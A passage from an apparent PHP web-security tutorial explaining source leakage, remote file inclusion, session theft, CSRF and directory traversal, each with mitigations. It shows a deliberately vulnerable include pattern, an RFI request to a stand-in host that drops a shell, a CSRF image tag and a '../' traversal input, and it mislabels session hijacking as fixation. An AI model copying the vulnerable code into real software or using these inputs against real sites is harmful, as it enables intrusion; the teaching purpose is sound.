Another instance of this is the popular website Facebook which you have probably heard about in some way or another. What I explained before (server misconfiguration resulting in leaked source code) also has also happened to Facebook. Even big companies with people paid to configure the server apparently sometimes screws up and therefore it is necessary to take some security precautions in order to prevent source leakage if something like that should ever happen (something Facebook apparently did not).

It all has to do with how you layout your directory structure. So, all files within the document root can be retrieved by the user. Therefore we might as well move everything else out of there so people cannot directly access it. This means we might have index.php and some static files such as CSS, Javascript and images laying inside the document root. We can even take it further and do so the only thing that is in index.php is the following:
<?php
require ‘../public_index.php’;
?>
That particular snippet is the only thing the user will ever be able to see should something happen. So we might have a directory structure that looks like this:

/application
/controllers
/models
/views
/library
/public_html <– document root
/index.php
/media
/images
/javascript
/css
/config
/cache
/tmp
/public_index.php
/logs
By laying out your files in this manner you will prevent that people will see things they are not supposed to see. It is easy to do so there is no reason why you would not.

6. Remote file inclusion
Remote file inclusion attacks (sometimes abbreviated RFI) is a vulnerability many people probably do not know of, but it is a very serious issue that also must be addressed. As the name implies, it is when remote files are included, but what exactly does that? Let us look at an example:
<?php
$page = isset($_GET['page']) ? $_GET['page'] : ‘home’;

require $page . ‘.php’;
?>
This is a very basic front controller that will forward the request to whatever file that should be responsible for that particular request.

Imagine that at http://example.com/malice.php a file exists and our script is located at http://site.com/index.php. The attacker will do this request: http://site.com/index.php?page=http://e … com/malice. This file will get executed when it is included and it will a write a new file to the disk. This file could be a shell which would allow people to execute commands to the terminal from it as well as other things they should not bea ble to. Another thing the attacker can do is set page to http://example.com/malice.php? (note the ending question mark). That will make whatever follows it part of the query string and therefore ignored by the server the file is getting included from. Why this is a security issue should be pretty obvious. People should definitely not be able to execute whatever commands they want on our server, so how can we prevent them?

There are a couple of php.ini directives you can use to prevent this:

allow_url_fopen this directive is set to on by default and it controls whether remote files should be includable.
allow_url_include this directive is set to off by default and was introduced in PHP 5.2. It controls whether the include(), require(), include_once() and require_once() should be able to include remote files. In versions below PHP 5.2 this was also controlled by allow_url_fopen. Furthermore, if allow_url_fopen is set to off then this directive will be ignored and set to off as well.
Basically those two directives will enable you to set the required security settings you will need. Again, no data that is not from the inside of your system should be trusted. You must validate user input and ensure that people will not enter malformed or unexpected data.

One of our other administrators, Thomas Johnson, has written a small tutorial about how you can use Apache to block RFI attacks called Preventing remote file include attacks with mod rewrite. You might want to check that out as well if you are concerned about RFI vulnerabilities.

7. Session security
Sessions and cookies are also two things where you have to watch out. Although they cannot breach your application’s security they can be used to compromise user accounts.

When you are using sessions, PHP will most often store a cookie on the client computer called PHPSESSID (can be changed by you). This cookie will hold a value, a session identifier, which is associated with some sort of data on the server. If the user has a valid session ID then the data associated with the session will get into the $_SESSION super-global array. Sessions can also be transferred via the URL. In that case it would be something like ?PHPSESSID=id_here.

7.1. Stealing the cookies
Imagine that you have a key for a vault in your bank. If you have the key then you can get whatever is in the vault. The session ID works a bit like that. However, your key for your vault can be stolen and similarly can the session ID of your users (including you) be stolen or intercepted.

For the record, just because I used a vault/key analogy then it does not mean that you should put secret or important data of some sort in your sessions.

Earlier we talked about XSS and I mentioned briefly that it could be used to steal people’s cookies. That is the most common way cookies are stolen. This cookie could be PHPSESSID (or whatever you may have renamed it to. When you steal a session ID and try to use it again it is called session fixation. So… if you can get a valid session ID and that session is used for something like authentication then you will essentially be logged in as that user. Obviously that is not a good thing – especially not if the user is high ranking with administrative privileges.

7.2. Issues with shared hosting
Most people host their website on what is called shared hosting. It is basically when there are multiple people having their websites hosted on a single server. On a server with a Linux operating system session data will by default be stored in the /tmp directory. It is a directory that stores temporary data and it will obviously have to be readable and writable by everyone. Therefore, if your session data is stored in there, which it is by default, then the other users can find it if they look hard enough. This poses the same security issues as with cookies being stolen using XSS.

7.3. Preventing session fixation
Now that we have talked a bit about how the session ID can be stolen then let us talk a bit about how we can minimize the risk session fixation.

One thing we can do is to change the session ID often. If we do that then the chance that the intercepted session ID will be valid will be greatly minimized if that ID changes often. We can use one of PHP’ built-in functions called session_regenerate_id(). When we call this function the session ID will be, no surprise, regenerated. The client will simply be informed that the ID has changed via an HTTP response header called Set-Cookie.

If you are using PHP 5.2+ then you can tell the browser that Javascript should not be given access to the cookie using a flag called httponly. You can set this flag using the php.ini directive called session.cookie_httponly or you can use the session_set_cookie_params() function.

Regarding the issue with the shared hosts, the fix is simple: store the data where only you have access. You can use the directive called session.save_path to set another path for storing them. You can also store them in a database, but then you will have to write your own handler using the function called session_set_save_handler().

8. Cross-site request forgery
Cross-site request forgery (CSRF) is when you trick the user into making a request they have never made. Imagine that in your application it is possible to delete users like this: /user/delete/Joe. That would delete the user with the username “Joe”. A malicious user might place this bit of HTML on his website:
<img src=”http://example.com/user/delete/Joe” height=”1″ width=”1″ />
This will basically trick the user into making a request to that page without them knowing it. Obviously only people who are logged in as administrators should be able to call this URL and therefore it will fail for most users. However, if a logged in administrator goes to the page where the above piece of HTML is located then the request will be successfully completed and “Joe” will be gone.

How can we prevent this? Well, in this case we could simply ask the admin to verify the action with his password before performing it. Yes, I know, this is kind of like Windows Vista’s UAC (User Account Control) that people claim is incredibly annoying and prompts them to verify their action every fifth millisecond, but sometimes you will, unfortunately, have to add just a little amount of nuisance in order to keep your application safe.

Had the account come from a form then we could simply require that the information (in the previous case the username) be submitted using post and read it like $_POST['username']. However, this adds only a minimum of extra security. More sophisticated attacks than the above could just as easily trick the user into performing a POST request instead GET. We could use the “enter your password” method like before, but we could also use another kind of token. Imagine this form:
<?php
session_start();
$_SESSION['token'] = uniqid(md5(microtime()), true);
?>

<form action=”/delete-user.php” method=”post”>
<input type=”hidden” name=”token” value=”<?php echo
$_SESSION['token'] ?>” />

Username: <input type=”text” name=”username” />
<button type=”submit”>Delete user</button>
</form>
Here we have added a hidden field called token and stored its content in a session. On the next page we can do something like this:
<?php
session_start();

if ($_POST['token'] !== $_SESSION['token']) {
die(‘Invalid token’);
}

// form processing here
?>
We simply check that it is a valid token and we have then successfully ensured that the request did in fact come from the form.

9. Directory traversal
Imagine the same script we used when talking about RFI attacks:
<?php
$page = isset($_GET['page']) ? $_GET['page'] : ‘home’;

require $page . ‘.php’;
?>
We will just say that this particular file is stored in the following path: /home/someone/public_html/index.php. The attacker could then do: index.php?page=../secret

That would give us /home/someone/public_html/secret.php which would otherwise have been accessible. I am sure you could think of more dangerous situations than this particular one.

There are a couple of ways you could prevent this with. First of all you could have an array of valid pages, e.g.:
$pages = array(
‘home’,
‘login’,
‘logout’,
// etc.
);

if (!in_array($page, $pages) {
die(‘Invalid page’);
}
Another thing you could do is check that the requested file matches a particular format:
$file = str_replace(‘\\’, ‘/’, realpath($page . ‘.php’));

if (!preg_match(‘%^/home/someone/public_html/[a-z]+\.php$%’, $file)) {
die(‘Invalid page’);
}

include $file;
Basically you need to verify that the entered information is valid and conforms to what you expected.